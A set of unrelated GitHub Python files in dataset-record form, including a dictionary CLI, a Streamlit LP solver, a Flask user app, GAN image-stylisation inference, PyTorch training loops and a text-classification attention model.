4 Feature Engineering for Text Representation\n# - Major Readings:\n# - Harris,Zellig. 1956. [Distributional structure](http://www.tandfonline.com/doi/pdf/10.1080/00437956.1954.11659520).\n# - Bengio, Yoshuan, et. al. 2003. [A Neural Probabilistic Language Model](http://www.jmlr.org/papers/volume3/bengio03a/bengio03a.pdf).\n# - Collobert, Ronana and Jason Weston. 2008. [A Unified Architecture for Natural Language Processing: Deep Neural Networks with Multitask Learning](https://ronan.collobert.com/pub/matos/2008_nlp_icml.pdf).\n# - Schwenk, Holger. 2007.[Continuous space language models](https://pdfs.semanticscholar.org/0fcc/184b3b90405ec3ceafd6a4007c749df7c363.pdf).\n# - Mikolov, Tomas, et al. 2013. [Efficient estimation of word representations in vector space](https://arxiv.org/abs/1301.3781). arXiv preprint arXiv:1301.3781. \n# - Mikolov, Tomas, et al. 2013. [Distributed representations of words and phrases and their compositionally](https://papers.nips.cc/paper/5021-distributed-representations-of-words-and-phrases-and-their-compositionality.pdf). *Advances in neural information processing systems*. 2013.\n# - Baroni, Marco, et. al. 2014. [Don’t count, predict! A systematic comparison of context-counting vs. context-predicting semantic vectors](https://www.aclweb.org/anthology/P14-1023/). *ACL*(1).\n# - Pennington, Jeffrey, et al. 2014. [GloVe: Global Vectors for Word Representation](https://nlp.stanford.edu/pubs/glove.pdf). *EMNLP*. Vol. 14.\n# - Bojanowski, P., Grave, E., Joulin, A., & Mikolov, T. (2017). [Enriching word vectors with subword information](https://doi.org/10.1162/tacl_a_00051). *Transactions of the Association for Computational Linguistics*, 5, 135-146.\n# - [GloVe Project Official Website](https://nlp.stanford.edu/projects/glove/): You can download their pre-trained GloVe models.\n# - [FastText Project Website](https://fasttext.cc/docs/en/english-vectors.html): You can download the English pre-trained FastText models.\n# \n","repo_name":"alvinntnu/NTNU_ENC2045_LECTURES","sub_path":"_build/jupyter_execute/nlp/text-vec-embedding.py","file_name":"text-vec-embedding.py","file_ext":"py","file_size_in_byte":18820,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"23509964440","text":"import os\nimport json\n##############################\n# PROJECT ENGLISH DICTIONARY\n# BY PIYUSH, NANDINI, PRATIK\n# GOVERNMENT POLYTECHNIC, JINTUR\n###############################\nprint('*'*5,'English Dictionary','*'*5)\n\ndef opt1():\n word = input('Enter the word: ')\n meaning = input('Enter the meaning: ')\n if os.path.isfile('words1.txt'):\n f = open('words1.txt','r')\n temp = json.load(f) \n temp[word] = meaning \n f.close()\n\n f = open('words1.txt','w')\n json.dump(temp,f) \n f.close()\n else:\n f = open('words1.txt','w')\n dict1 = {word:meaning}\n json.dump(dict1,f)\n f.close()\n \ndef opt2():\n with open('words1.txt') as f:\n x = json.load(f)\n word = input('Enter a word to find its meaning : ')\n for i in x:\n if word in x:\n print ('The meaning of',word,'is',x[word])\n break\n else:\n print('This dictionary does not have an entry for',word)\n break\n\n \ndef opt3():\n y = input('Enter a word of which you want to update the meaning : ')\n z = input('Enter the meaning of the word : ')\n with open('words1.txt') as f:\n x = json.load(f)\n xcopy = {**x}\n for i in xcopy:\n if y not in x:\n print(\"Error: The entered word doesn't exist in the dictionary. Please try again.\")\n break\n else:\n x[y] = z\n print('The updated meaning of',y,'is',z) \n print(x)\n f = open('words1.txt','w')\n json.dump(x,f)\n f.close()\n\ndef opt4():\n y = input('Enter a word of which you want to remove : ')\n with open(\"words1.txt\", \"r\") as fp:\n lines = fp.readlines()\n\nwith open(\"words1.txt\", \"w\") as fp:\n for line in lines:\n if line.strip(\"\\n\") != y:\n fp.write(line)\ndef opt5():\n print('Thank for choosing us!\\n Exiting now...')\n exit()\n \ndef mainmenu():\n\n print('\\nMain Menu\\n')\n\n\n print('1. Add a new word\\n')\n\n\n print('2. Find the meaning\\n')\n\n\n print('3. Update a word\\n')\n \n \n print('4. Remove a word\\n')\n\n\n print('5. Exit\\n')\n\n\n x = int(input('Enter a choice: '))\n\n if x == 1:\n opt1()\n mainmenu()\n elif x == 2:\n opt2()\n mainmenu()\n elif x == 3:\n opt3()\n mainmenu()\n elif x == 4:\n opt4()\n mainmenu()\n else:\n opt5()\n \nmainmenu()\n","repo_name":"piyushL337/english-Dictionary","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"39196266414","text":"import streamlit as st\nfrom utils import *\nfrom linear_optimization import *\n\n\nst.set_page_config(layout=\"wide\")\nst.title('Linear Programming Solver')\n\ncols = st.columns(2)\nwith cols[0]:\n num_variables = st.number_input('Insert number of variables', min_value=1, step=1)\nwith cols[1]:\n num_constraints = st.number_input('Insert number of constraints', min_value=1, step=1)\n\n# Objective function\nst.subheader('Objective Function')\n\nmin_max, _ = st.columns((0.2, 0.8))\nwith min_max:\n min_max = st.selectbox('', ['max', 'min'])\n\nobj_cols = st.columns(num_variables+2)\n\nobj_coeff = [0 for i in range(num_variables)]\nfor i in range(num_variables):\n with obj_cols[i]:\n obj_coeff[i] = st.number_input(f'x{get_sub(str(i))}', key=f'obj_{i}', \n # value=None,\n step=0.1, \n format='%.1f'\n )\n # try:\n # obj_coeff[i] = float(st.text_input(f'x{get_sub(str(i))}', key=f'obj_{i}', placeholder='0'))\n # except Exception as e:\n # st.exception(e)\n\n\nst.subheader('Constraints')\nconstraints_coeff = [[0 for i in range(num_variables)] for j in range(num_constraints)]\nsigns = ['' for i in range(num_constraints)]\n# right hand side\nrhs = [0 for i in range(num_constraints)]\n\nfor i in range(num_constraints):\n cstr_cols = st.columns(num_variables+2)\n for j in range(num_variables):\n with cstr_cols[j]:\n constraints_coeff[i][j] = st.number_input(f'x{get_sub(str(j))}', key=f'cstr_{i}{j}', \n # value=None,\n step=0.1, \n format='%.1f'\n )\n \n with cstr_cols[-2]:\n signs[i] = st.selectbox('', [u'\\u2264', '=', u'\\u2265'], key=f'sign_{i}')\n \n with cstr_cols[-1]:\n rhs[i] = st.number_input('', key=f'rhs_{i}', \n # value=None, \n step=0.1, \n format='%.1f'\n )\n\nx_cstr_string = ', '. join([f'x{get_sub(str(i))}' for i in range(num_variables)]) + ' ' + u'\\u2265' + ' ' + '0'\n\nst.subheader(x_cstr_string)\n\nN, b, c = get_standard_form(min_max, obj_coeff, constraints_coeff, signs, rhs)\n\nsolve = st.button('Solve')\n\nif solve:\n try:\n assert sum([coeff != 0 for coeff in obj_coeff]) != 0 # at least 1 coeff != 0\n except AssertionError as e:\n st.exception(\"Require at least 1 non-zero coefficient of objective function!\")\n solve = False\n\n try:\n assert sum([sum([coeff != 0 for coeff in constraint])!=0 for constraint in constraints_coeff]) == len(constraints_coeff) # all row require have at least 1 coeff\n except AssertionError as e:\n st.exception(\"All constraint row require have at least 1 coefficient!\")\n solve = False\n\nif solve:\n print(\"Solving ...\")\n\n status, solution, optimal_value, _, _, _, _, _, _, solution_str = optimize(N, b, c)\n \n tab1, tab2 = st.tabs(('Result', 'Steps'))\n\n with tab1:\n # st.subheader(status)\n if status == 'Optimal':\n st.subheader('Optimal solution')\n _, c = st.columns((0.2, 0.8))\n with c:\n for i in range(len(solution)):\n st.subheader(f'x{get_sub(str(i))} = {solution[i]}')\n st.subheader('Optimal value')\n _, c = st.columns((0.2, 0.8)) \n c.subheader(str(optimal_value))\n\n else:\n st.subheader(f\"The problem is {status}.\")\n\n with tab2:\n st.code(solution_str)\n","repo_name":"phamthaihoangtung/Linear-Programming-Solver","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"30990986362","text":"from flask import Flask, render_template, redirect, request\nfrom user import User\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\")\n\n@app.route(\"/create_user\", methods=[\"POST\"])\ndef create_users():\n data = {\n \"first_name\": request.form['first_name'],\n \"last_name\": request.form['last_name'],\n \"email\": request.form['email']\n }\n User.create_user(data)\n return redirect(\"/all_users\")\n\n@app.route(\"/all_users\")\ndef all_users():\n users = User.get_all()\n return render_template(\"/all_users.html\", users=users)\n\n@app.route(\"/home\")\ndef home():\n return redirect(\"/\")\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"Trevor-D-Anderson/CRUD_MySQL","sub_path":"Users/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"21524914027","text":"import click\nimport os\nimport torch\nimport random\nfrom datetime import datetime\nfrom PIL import Image\n\nfrom torch import nn, optim\nfrom torch.utils.data import DataLoader\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nfrom torchvision import transforms\n\nimport numpy as np\n\nfrom utils import init_device_seed\nfrom model_cartoongan import CartoonGANGenerator\nfrom model_animegan import AnimeGANGenerator\n\n\n@click.command()\n@click.option('--image_path', default='./data/cartoon_dataset/val')\n@click.option('--model_name', default='cartoongan')\n@click.option('--is_crop', type=bool, default=False)\n@click.option('--cuda_visible', default='0')\ndef test(image_path, model_name, is_crop, cuda_visible):\n device = init_device_seed(1234, cuda_visible)\n os.makedirs('./result', exist_ok=True)\n\n if model_name == 'cartoongan':\n checkpoint = torch.load('./model/cartoongan', map_location=device)\n generator = CartoonGANGenerator().to(device)\n else:\n checkpoint = torch.load('./model/animegan', map_location=device)\n generator = AnimeGANGenerator().to(device)\n\n generator.load_state_dict(checkpoint['generator_state_dict'])\n generator.eval()\n\n to_tensor = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))\n ])\n to_pil = transforms.Compose([\n transforms.Normalize(mean=(-1, -1, -1), std=(2, 2, 2)),\n transforms.ToPILImage()\n ])\n\n if os.path.isdir(image_path):\n files_list = []\n file_names_list = os.listdir(image_path)\n for file_name in file_names_list:\n files_list.append(os.path.join(image_path, file_name))\n output_dir = './result/{}'.format(datetime.now().strftime('%Y-%m-%d %H_%M_%S'))\n os.makedirs(output_dir, exist_ok=True)\n else:\n files_list = [image_path]\n\n for idx, file_path in enumerate(files_list):\n file_name = '.'.join(os.path.basename(file_path).split('.')[:-1])\n print('\\r{}/{} {}'.format(idx, len(files_list), file_name), end=' ')\n \n image = Image.open(file_path)\n size_min = min(image.size)\n\n transform = transforms.Compose([\n transforms.CenterCrop((size_min, size_min)),\n transforms.RandomHorizontalFlip(),\n transforms.Resize((256, 256))\n ])\n\n if is_crop:\n image = transform(image)\n image.save('{}/{}_orig.jpg'.format(output_dir,file_name))\n else:\n image = image.crop((0, 0, image.size[0] - image.size[0] % 4, image.size[1] - image.size[1] % 4))\n\n image = to_tensor(image)\n image = torch.unsqueeze(image, 0).to(device)\n\n output = generator(image).detach().cpu()[0]\n output = to_pil(output)\n\n output.save('{}/{}.jpg'.format(output_dir,file_name))\n\n\nif __name__ == '__main__':\n test()","repo_name":"Snailpong/style_transfer_implementation","sub_path":"test_cartoongan.py","file_name":"test_cartoongan.py","file_ext":"py","file_size_in_byte":2893,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"72040947769","text":"import numpy as pd\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.manifold import TSNE\nfrom stock_data import get_list\n\n\ndef tsne():\n \"\"\"\n\n It has the same functionality as k_means()\n\n \"\"\"\n\n tsne = TSNE(n_components=2, # Dimension of the embedded space = 2.\n verbose=1, # It produces lots of logging output.\n perplexity=75, # Numbers of iterations to converge.\n n_iter=1000) # Number of iterations run: default 1000.\n\n tsne_results = tsne.fit_transform(get_list())\n #print(tsne_results)\n\n df_subset = pd.DataFrame.from_dict({})\n df_subset['X'] = tsne_results[:, 0]\n df_subset['Y'] = tsne_results[:, 1]\n #print(df_subset)\n grad = df_subset.eval(\"X / Y\").rename(\"grad\")\n\n sns.scatterplot(\n #palette=sns.color_palette(\"hls\", 10),\n data=df_subset,\n x='X',\n y=\"Y\",\n hue = grad\n )\n\n plt.savefig(\"/Users/mcarmentz/Desktop/stock_screener/figures/tsne.png\") # Figures are saved in figures directory.\n\ndef test_run():\n \"\"\"Function called by Test Run.\"\"\"\n tsne()\n\nif __name__ == \"__main__\":\n test_run()\n\n\n\n","repo_name":"jiatangzhi/stock_screener","sub_path":"stock_screener/tsne.py","file_name":"tsne.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"28036040078","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 10 11:38:37 2022\n\n@author: imargolin\n\"\"\"\n\nfrom torch.optim import Adam\n\nfrom typing import Any, List, Set, Dict, Tuple\n\nimport torch.nn.functional as F\nimport torch\nfrom tqdm import tqdm\nfrom torch.optim import lr_scheduler\nimport mlflow\nfrom mlflow.tracking import MlflowClient\nimport numpy as np\nimport pandas as pd\nfrom torch import nn\nfrom torch.nn.parallel import DistributedDataParallel as DDP\nfrom torch.utils.data import DataLoader\nfrom ordinaloss.utils.metric_utils import RunningMetric, BinCounter, StatsCollector\nfrom ordinaloss.utils.metric_utils import accuracy_pytorch, mae_pytorch, calc_cost_metric\nfrom ordinaloss.utils.basic_utils import get_only_metrics\nfrom sklearn.metrics import accuracy_score, mean_absolute_error\nimport os\nfrom pathlib import Path\nfrom torch.optim.lr_scheduler import StepLR\nimport secrets\n\nprint(f\"loaded {__name__}\")\n\nclass EarlyStopper:\n def __init__(self, patience:int = 5, min_delta:float =1.0):\n \"\"\"My small implementation for early stopping.\n\n Args:\n patience (int, optional): How long to wait after last time validation loss improved. Defaults to 5.\n min_delta (float, optional): Minimum change in the monitored quantity to qualify as an improvement. Defaults to 1.0\n \"\"\"\n self.patience = patience\n self.min_delta = min_delta #We want the loss to be 0.99 from the previous epoch.\n self.counter = 0\n self.min_validation_loss = np.inf\n self.is_best_model = False\n self.early_stop = False\n\n def step(self, loss:float):\n \"\"\"Stepping the EarlyStopper with one more loss, checks whether should stop.\n\n Args:\n loss (float): The loss to be monitored\n \"\"\"\n\n if loss < self.min_validation_loss * self.min_delta:\n #New loss was found!\n self.counter = 0 #Reset the counter\n self.min_validation_loss = loss\n self.is_best_model = True\n \n else: #Not enough imporvement\n \n self.counter+=1\n print(f\"Strike {self.counter} / {self.patience}\")\n self.is_best_model = loss < self.min_validation_loss #yet might be new best.\n\n if self.counter>=self.patience:\n self.early_stop = True\n\nclass LRScheduler:\n def __init__(self, init_lr=1.0e-4, lr_decay_epoch=10, \n lr_decay_factor = 0.9):\n\n self.init_lr = init_lr\n self.lr_decay_epoch = lr_decay_epoch\n self.lr_decay_factor = lr_decay_factor\n\n def step(self):\n pass\n\n def __call__(self, optimizer, epoch):\n '''Decay learning rate by a factor every lr_decay_epoch epochs.'''\n lr = self.init_lr * (self.lr_decay_factor ** (epoch // self.lr_decay_epoch))\n lr = max(lr, 1e-8)\n if epoch % self.lr_decay_epoch == 0:\n print('LR is set to {}'.format(lr))\n\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n print ('LR is set to {}'.format(lr))\n \n return optimizer\n\nclass SingleGPUTrainer:\n def __init__(\n self, \n model: nn.Module, \n loaders: Dict[str, DataLoader],\n optimizer: torch.optim.Optimizer, \n gpu_id: int,\n save_every: int,\n num_classes:int\n ):\n\n self.gpu_id = gpu_id\n self.model = model.to(self.gpu_id)\n self.loaders = loaders\n\n self.optimizer = optimizer\n self.save_every = save_every\n self.num_classes = num_classes\n self.epochs_trained = 0\n self.model_id = secrets.token_hex(nbytes=16)\n self.checkpoint_path = f\"{self.model_id}.pt\"\n\n def forward(self, X):\n return F.softmax(self.model(X), dim = 1) #Normalized \n\n def prepare_input(self, X, y):\n return X.to(self.gpu_id), y.to(self.gpu_id)\n\n def _train_epoch(self) -> dict[str, Any]:\n \n self.model.train()\n\n loss_metric = RunningMetric()\n collector = StatsCollector()\n\n loader = tqdm(self.loaders[\"train\"], total = len(self.loaders[\"train\"]), desc= f\"Training, epoch {self.epochs_trained}\")\n\n for X, y in loader:\n\n #Batch iteration\n X, y = self.prepare_input(X, y)\n batch_size = y.shape[0]\n\n self.optimizer.zero_grad()\n y_pred = self.forward(X)\n\n loss = self.loss_fn(y_pred, y)\n loss.backward()\n\n self.optimizer.step()\n\n loss_metric.update(loss.item(), batch_size)\n collector.update(y_pred, y)\n \n loader.set_postfix(\n loss = loss_metric.average)\n\n y_pred_all = collector.collect_y_pred() #(N, C)\n y_pred_argmax = y_pred_all.argmax(axis=1) #(N,)\n y_true_all = collector.collect_y_true()\n\n mae = mean_absolute_error(y_true_all, y_pred_argmax)\n accuracy = accuracy_score(y_true_all, y_pred_argmax)\n cost = calc_cost_metric(y_true=y_true_all, y_pred=y_pred_argmax, n_classes=self.num_classes)\n \n distribution = np.bincount(y_pred_argmax, minlength=self.num_classes)\n distribution = distribution/distribution.sum()\n\n self.epochs_trained +=1\n\n results = {\n \"train_distribution\": distribution, #numpy array\n \"train_loss\": loss_metric.average, #single value\n \"train_accuracy\":accuracy, #single value\n \"train_mae\": mae,\n \"train_cost\": cost\n }\n\n return results\n \n @torch.no_grad()\n def _eval_epoch(self, phase) -> dict[str, Any]:\n\n self.model.eval()\n\n loss_metric = RunningMetric() \n collector = StatsCollector()\n\n loader = self.loaders[phase]\n\n for X, y in loader:\n X, y = self.prepare_input(X, y)\n batch_size = y.shape[0]\n y_pred = self.forward(X)\n loss = self.loss_fn(y_pred, y)\n\n loss_metric.update(loss.item(), batch_size)\n collector.update(y_pred, y)\n \n y_pred_all = collector.collect_y_pred()\n y_pred_argmax = y_pred_all.argmax(axis=1)\n y_true_all = collector.collect_y_true()\n\n if phase ==\"test\":\n self.log_predictions(y_pred_all)\n \n #Some metrics\n mae = mean_absolute_error(y_true_all, y_pred_argmax)\n accuracy = accuracy_score(y_true_all, y_pred_argmax)\n cost = calc_cost_metric(y_true=y_true_all, y_pred=y_pred_argmax, n_classes=self.num_classes)\n \n distribution = np.bincount(y_pred_argmax, minlength=self.num_classes)\n distribution = distribution/distribution.sum()\n\n results = {\n f\"{phase}_distribution\": distribution, #numpy array\n f\"{phase}_loss\": loss_metric.average, #single value\n f\"{phase}_accuracy\":accuracy, #single value\n f\"{phase}_mae\": mae, #single value\n f\"{phase}_cost\": cost, #single value\n }\n \n return results\n \n def log_predictions(self, y_pred_all):\n my_df = pd.DataFrame(y_pred_all)\n path = f\"{self.model_id}_preds_{self.epochs_trained}.csv\"\n my_df.to_csv(path)\n mlflow.log_artifact(path)\n os.remove(path)\n\n def train_until_converge(self, n_epochs, patience, min_delta, sch_stepsize, sch_gamma) -> None:\n\n early_stopper = EarlyStopper(\n patience=patience, \n min_delta=min_delta)\n \n scheduler = StepLR(self.optimizer, step_size=sch_stepsize, gamma=sch_gamma, verbose=True)\n\n for _ in range(n_epochs):\n train_results = self._train_epoch()\n scheduler.step()\n val_results = self._eval_epoch(\"val\")\n\n mlflow.log_metrics(get_only_metrics(val_results), step = self.epochs_trained)\n mlflow.log_metrics(get_only_metrics(train_results), step = self.epochs_trained)\n\n early_stopper.step(val_results[\"val_loss\"]) #One more step for validation loss, check whether should stop.\n\n if early_stopper.is_best_model:\n #This is the best model so far, let's save it.\n self._save_checkpoint()\n\n if early_stopper.early_stop:\n break #Model converged.\n\n print(f\"Model Converged! the best validation loss is {early_stopper.min_validation_loss}\")\n self._load_checkpoint()\n os.remove(self.checkpoint_path)\n \n def _save_checkpoint(self):\n\n ckp = {\n \"epoch\": self.epochs_trained,\n \"model_state_dict\":self.model.state_dict(),\n \"optimizer_state_dict\": self.optimizer.state_dict(),\n }\n\n torch.save(ckp, self.checkpoint_path)\n mlflow.log_artifact(local_path=self.checkpoint_path)\n \n def _load_checkpoint(self):\n ckp = torch.load(self.checkpoint_path)\n self.epochs_trained = ckp[\"epoch\"]\n self.model.load_state_dict(ckp[\"model_state_dict\"])\n self.optimizer.load_state_dict(ckp[\"optimizer_state_dict\"])\n\n def set_loss_fn(self, loss_fn:nn.Module):\n self.loss_fn = loss_fn\n self.loss_fn.to(self.gpu_id)\n\nclass SingleGPUTrainerMatan:\n def __init__(\n self, \n model: nn.Module, \n loaders: Dict[str, DataLoader],\n optimizer: torch.optim.Optimizer, \n gpu_id: int,\n save_every: int,\n num_classes: int,\n grad_norm:float = 15.0\n ):\n\n self.gpu_id = gpu_id\n self.model = model.to(self.gpu_id)\n self.loaders = loaders\n\n self.optimizer = optimizer\n self.save_every = save_every\n self.num_classes = num_classes\n self.epochs_trained = 0\n \n self.checkpoint_path = Path(\"models\", f\"{uuid.uuid4().hex}.pt\")\n self.grad_norm = grad_norm\n\n def forward(self, X):\n return F.softmax(self.model(X), dim = 1) #Normalized \n\n def prepare_input(self, X, y):\n return X.to(self.gpu_id), y.to(self.gpu_id)\n\n def _train_epoch(self) -> dict[str, Any]:\n \n self.model.train()\n\n loss_metric = RunningMetric()\n collector = StatsCollector()\n\n loader = tqdm(self.loaders[\"train\"], total = len(self.loaders[\"train\"]), desc= f\"Training, epoch {self.epochs_trained}\")\n\n for X, y in loader:\n\n #Batch iteration\n X, y = self.prepare_input(X, y)\n batch_size = y.shape[0]\n\n self.optimizer.zero_grad()\n y_pred = self.forward(X)\n\n loss = self.loss_fn(y_pred, y)\n loss.backward()\n\n self.optimizer.step()\n\n loss_metric.update(loss.item(), batch_size)\n collector.update(y_pred, y)\n \n loader.set_postfix(\n loss = loss_metric.average)\n \n self.epochs_trained +=1\n\n y_pred_all = collector.collect_y_pred().argmax(axis=1)\n y_true_all = collector.collect_y_true()\n\n ones_ratio = y_pred_all.mean()\n accuracy = accuracy_score(y_true_all, y_pred_all)\n\n results = {\n \"train_loss\": loss_metric.average, #single value\n \"train_accuracy\":accuracy, #single value\n \"train_ones_ratio\":ones_ratio, #single value\n }\n\n return results\n \n @torch.no_grad()\n def _eval_epoch(self, phase) -> dict[str, Any]:\n\n self.model.eval()\n\n loss_metric = RunningMetric() \n collector = StatsCollector()\n\n loader = self.loaders[phase]\n\n for X, y in loader:\n X, y = self.prepare_input(X, y)\n batch_size = y.shape[0]\n y_pred = self.forward(X)\n loss = self.loss_fn(y_pred, y)\n\n loss_metric.update(loss.item(), batch_size)\n collector.update(y_pred, y)\n \n y_pred_all = collector.collect_y_pred().argmax(axis=1) #Binary vector of 0 and 1s\n y_true_all = collector.collect_y_true()\n \n #Some metrics\n \n ones_ratio = y_pred_all.mean()\n accuracy = accuracy_score(y_true_all, y_pred_all)\n\n results = {\n f\"{phase}_loss\": loss_metric.average, #single value\n f\"{phase}_accuracy\":accuracy, #single value\n f\"{phase}_ones_ratio\":ones_ratio, #single value\n }\n\n return results\n\n def train_until_converge(\n self, n_epochs:int, \n patience:int=3, min_delta:float = 1.0, \n sch_stepsize:int=5, sch_gamma:float=0.9) -> None:\n\n early_stopper = EarlyStopper(\n patience=patience, \n min_delta=min_delta)\n \n scheduler = StepLR(self.optimizer, step_size=sch_stepsize, gamma=sch_gamma, verbose=True)\n\n for _ in range(n_epochs):\n train_results = self._train_epoch()\n scheduler.step()\n val_results = self._eval_epoch(phase =\"val\")\n\n mlflow.log_metrics(get_only_metrics(val_results), step = self.epochs_trained)\n mlflow.log_metrics(get_only_metrics(train_results), step = self.epochs_trained)\n\n early_stopper.step(val_results[\"val_loss\"]) #One more step for validation loss, check whether should stop.\n\n if early_stopper.is_best_model:\n #This is the best model so far, let's save it.\n \n best_epoch_idx = self.epochs_trained\n self._save_checkpoint()\n\n if early_stopper.early_stop:\n break #Model converged.\n\n print(f\"Model Converged! the best validation loss is {early_stopper.min_validation_loss}\")\n self.model.load_state_dict(torch.load(self.checkpoint_path))\n self.epochs_trained = best_epoch_idx\n \n def _save_checkpoint(self):\n ckp = self.model.state_dict()\n torch.save(ckp, self.checkpoint_path)\n\n def set_loss_fn(self, loss_fn:nn.Module):\n self.loss_fn = loss_fn\n self.loss_fn.to(self.gpu_id)","repo_name":"imargolin/ordinaloss","sub_path":"ordinaloss/trainers/trainers.py","file_name":"trainers.py","file_ext":"py","file_size_in_byte":13912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"21140421452","text":"from functools import wraps, partial\n\n\ndef xlogging(func, id = None):\n # @wraps(func)\n def wrapper(*args, **kwargs):\n print(id, func.__name__, \"Loggin input\", args, kwargs)\n r = func(*args, **kwargs)\n print(\"Loggin output\", r)\n return r\n return wrapper\n\n\nnew = partial(xlogging, id=1)\n\n\n@xlogging\ndef ct(_in: str, _out: str) -> str:\n return _in + _out\n\n\nif __name__ == \"__main__\":\n a = ct(_in=\"Ana\", _out=\" are mere\")\n print(a)","repo_name":"devraider/ArtRadio","sub_path":"spider/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"36369802722","text":"# 뒤에 있는 큰 수 찾기\n# https://school.programmers.co.kr/learn/courses/30/lessons/154539\n\nfrom collections import deque\n\ndef solution(numbers):\n answer = [-1 for i in range(len(numbers))]\n stack = deque()\n \n for i, v in enumerate(numbers):\n while len(stack) and stack[-1][1] < v:\n answer[stack[-1][0]] = v\n stack.pop()\n stack.append([i, v])\n\n return answer\n","repo_name":"oleveloper/problem-solving","sub_path":"programmers/154539.py","file_name":"154539.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"11289283682","text":"#################### Function Return ###########################\n\ndef allowed_dating_age(boy_age):\n\tgirls_age = boy_age/2 + 7\n\treturn girls_age\n\n# Lets assign the return value to a variable\nlimit = allowed_dating_age(32)\n\nprint(\"The Boy of age \" ,boy_age, \"should date a girl of age \" ,limit, \"or older\")\n","repo_name":"bikranz4u/Python-practice","sub_path":"python-fundamental-thenewboston/7.function-return-2.py","file_name":"7.function-return-2.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27551826628","text":"\n\nimport os\nos.environ['PYTHONHASHSEED'] = str(2019)\n\nimport re\n\nimport numpy as np\nnp.random.seed(2019)\n\nimport random as r\nr.seed(2019)\n\nfrom tensorflow import set_random_seed\nset_random_seed(2019)\n\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom keras import backend as K\nfrom keras.models import Model\nfrom keras import initializers,callbacks\nfrom keras.engine.topology import Layer\nfrom keras.layers import Dense, Input\nfrom keras.layers import Embedding, GRU, Bidirectional, TimeDistributed\nfrom keras.preprocessing.text import Tokenizer, text_to_word_sequence\nfrom keras.utils.np_utils import to_categorical\nfrom nltk import tokenize\nfrom sklearn.utils import shuffle\nfrom sklearn import metrics\nfrom keras import optimizers\nfrom nltk import tokenize\nfrom optparse import OptionParser\nfrom sklearn.metrics import confusion_matrix\nimport string\n\nargs = {\n 'batch_size': 16,\n 'maxlen' : 100,\n 'max_sentences' : 100,\n 'max_words' : 20000,\n 'embedding_dim' : 200,\n 'glove_dir' : \"./\",\n 'embeddings_index' : {},\n 'text_data_dir': 'raw_corpora/',\n 'output_dir': 'outputs/'\n\n}\n\n ## take a list of strings as optional arguments\ndef list_callback(option, opt, value, parser):\n setattr(parser.values, option.dest, value.split(','))\n\n\n# class defining the custom attention layer\nclass HierarchicalAttentionNetwork(Layer):\n def __init__(self, attention_dim):\n self.init = initializers.get('normal')\n self.supports_masking = True\n self.attention_dim = attention_dim\n super(HierarchicalAttentionNetwork, self).__init__()\n\n def build(self, input_shape):\n assert len(input_shape) == 3\n self.W = K.variable(self.init((input_shape[-1], self.attention_dim)))\n self.b = K.variable(self.init((self.attention_dim,)))\n self.u = K.variable(self.init((self.attention_dim, 1)))\n self.trainable_weights = [self.W, self.b, self.u]\n super(HierarchicalAttentionNetwork, self).build(input_shape)\n\n def compute_mask(self, inputs, mask=None):\n return mask\n\n def call(self, x, mask=None):\n # size of x :[batch_size, sel_len, attention_dim]\n # size of u :[batch_size, attention_dim]\n # uit = tanh(xW+b)\n uit = K.tanh(K.bias_add(K.dot(x, self.W), self.b))\n\n ait = K.exp(K.squeeze(K.dot(uit, self.u), -1))\n\n if mask is not None:\n # Cast the mask to floatX to avoid float64 upcasting\n ait *= K.cast(mask, K.floatx())\n ait /= K.cast(K.sum(ait, axis=1, keepdims=True) + K.epsilon(), K.floatx())\n weighted_input = x * K.expand_dims(ait)\n output = K.sum(weighted_input, axis=1)\n\n return output\n\n def compute_output_shape(self, input_shape):\n return input_shape[0], input_shape[-1]\n\n\ndef remove_html(str_a):\n p = re.compile(r'<.*?>')\n return p.sub('', str_a)\n\n\n# replace all non-ASCII (\\x00-\\x7F) characters with a space\ndef replace_non_ascii(str_a):\n return re.sub(r'[^\\x00-\\x7f]', r'', str_a)\n\n\n## lowercase, remove digits, non-alphabetic chars, punctuations\n## and extra spaces\n\ndef clean_corpus(corpus):\n \n cleaned_corpus = []\n \n for article in corpus:\n\n article = article.lower()\n temp_str = re.sub(r'\\d+', '', article)\n temp_str = re.sub(r'[^\\x00-\\x7f]',r'', temp_str)\n temp_str = temp_str.translate(str.maketrans('', '', string.punctuation))\n temp_str = re.sub(r'\\s+', ' ', temp_str)\n\n\n cleaned_corpus.append(temp_str)\n \n return cleaned_corpus\n\n\ndef import_data(dataset):\n\n\n df_neg_text = pd.read_csv(os.path.join(args['text_data_dir'],'%s/%s_neg_text.csv'%(dataset,dataset)))\n df_pos_text = 